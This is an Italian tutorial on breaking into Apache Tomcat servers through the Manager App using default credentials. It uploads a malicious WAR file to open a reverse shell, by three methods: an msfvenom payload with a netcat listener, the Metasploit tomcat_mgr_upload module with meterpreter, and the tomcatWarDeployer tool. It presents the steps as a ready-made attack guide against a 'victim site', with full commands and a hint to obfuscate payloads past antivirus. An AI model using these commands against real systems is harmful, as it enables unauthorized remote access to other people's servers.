VIOLARE TOMCAT TRAMITE UPLOAD DI UN FILE WAR MALEVOLO CON TRE DIVERSE METODOLOGIE by TheInnocent
Tomcat è un web server opensource tra i più utilizzati al mondo, è sviluppato da Apache e supporta l’esecuzione di Java Servlet e, dunque, di tutte le tecnologie che su di esse si basano. Essendo tanto diffuso, le tecniche di seguito illustrate possono essere applicate in una serie praticamente infinita di frangenti, rendendo la seguente trattazione, un’ottima guida introduttiva per ogni attacco a server Tomcat.
In questo articolo partiamo dall’assunzione che l’incauto amministratore del sito vittima, abbia lasciato abilitate le credenziali di default in Tomcat, che sono
username: tomcat
password: s3cret
Cionondimeno, i seguenti procedimenti possono applicarsi anche in caso che l’attaccante conosca, per un qualunque motivo, una qualunqe altra coppia di credenziali valide (altre password di default è possibile trovarle a questo indirizzo).
Per trovare il nostro entry point, navighiamo verso
/manager/html
oppure, nella homepage, facciamo click sul pulsante con la scritta “Manager App”.
Ci verranno chieste le credenziali ma, come sottolineato in precedenza, questo non costituisce per noi un problema. Una volta aperta la pagina “Manager App”, vi troverete davanti la seguente schermata:
Come vedete, la pagina presenta una sezione chiamata “WAR file to deploy”. Questo è il punto di accesso privilegiato da cui potremo caricare il nostro file war malevolo. Una volta fatto l’upload di quest’ultimo, sulla nostra macchina apriremo un listener da terminale sulla porta 4444 con il comando
nc -lvp 4444
dove:
Fatto questo, eseguiremo il file caricato con successo, da browser, facendo click su “deploy” e, in seguito, semplicemente richiedendo la sua destinazione tipica:
http://sitovittima/nome_del_file_così_come_lo_avete_caricato.war
Una volta caricata quest’ultima pagina web, vedrete spuntare una shell dal vostro listener. Ma come procurarsi un file war adatto ai nostri scopi?
Oltre alla possibilità di scrivere voi stessi il file malevolo, in questo articolo vengono proposti tre differenti metodi, che portano tutti al medesimo risultato, ovvero una reverse-shell aperta sul sistema vittima.
Il primo metodo consiste nel creare noi stessi il file .war avvalendoci di msfvenom. Msfvenom, è in grado di scrivere automaticamente numerosi tipi di payload, in grado di aprirci le porte del sistema vittima tramite una shell. Nel nostro caso, useremo il seguente comando, dove -f sta per “format” e -p sta per “payload”:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=il_nostro_ip LPORT=la_porta_del_listener -f war > shell.war
Msfvenom, completerà il suo compito in pochi secondi, restituendo un output molto minimalista:
Notare che, nel nostro comando, non abbiamo specificato una particolare directory di destinazione, quindi il file .war potrà essere trovato nella directory corrente da cui è stato eseguito il comando. Volendo crearlo in una directory differente, basterà anteporre il path al nome del file, per esempio
Scrivania/shell.war
Una volta creato il nostro payload, potremo farne l’upload su Tomcat da “Manager App”, eseguirlo facendo click nel browser su http://indirizzo_sito/shell.war e osservare compiaciuti la nostra shell apparire nel terminale dove avevamo aperto il listener con netcat.
Il secondo metodo, si avvale direttamente di metasploit per eseguire l’intera procedura di apertura listener, uploading ed esecuzione del payload. L’unica cosa che dovremo fare sarà, come nel caso precedente, fornire le “coordinate” per permettere a metasploit di lavorare correttamente e aprire una connessione tra il server e il nostro pc. Per fare questo, una volta lanciata msfconsole, utilizzeremo
exploit/multi/http/tomcat_mgr_upload
come exploit, e
windows/meterpreter/reverse_tcp
come payload. Avremo cura poi di definire correttamente tutti i parametri quali: RHOST, RPORT, LHOST, LPORT, HttpUsername, HttpPassword, target. Infine, diamo il comando
run
e osserviamo metasploit fare per noi tutto il lavoro sporco, come si vede nella seguente schermata, in cui una shell meterpreter viene aperta con successo:
Il terzo metodo, grazie ad un elevato livello di automazione, permette di eseguire tutta la proceduta vista nei due metodi precedenti, con un unico comando. Per fare ciò, dovremo scaricare sul nostro pc tomcatWarDeployer, un interessante tool messo a disposizione da mgeeky su github, all’indirizzo
<a href="https://github.com/mgeeky/tomcatWarDeployer">https://github.com/mgeeky/tomcatWarDeployer</a>
Una volta scaricato il programma, ci basterà digitare, sul nostro pc, il seguente comando da terminale, per aprire una shell sul sistema vittima:
python tomcatWarDeployer.py -v -x -P s3cret -U tomcat -p porta_listener -H mio_ip ip_server_vittima:8080
Ancora una volta, si assume che le credenziali di accesso siano già in nostro possesso. Nella seguente schermata, potete osservare l’esecuzione del comando e la shell che si apre con successo nel nostro terminale:
Come avrete notato, ci sono differenti metodi per poter ottenere una shell da Tomcat Manager. Nel caso in cui sul sistema sia presente un antivirus, è possibile che la reverse shell venga identificata ed eliminata, ma giocando con le impostazioni di msfvenom si potrebbe ofuscare il payload. E, nel caso abbiate un Tomcat Manager con le credenziali di default..cambiatele!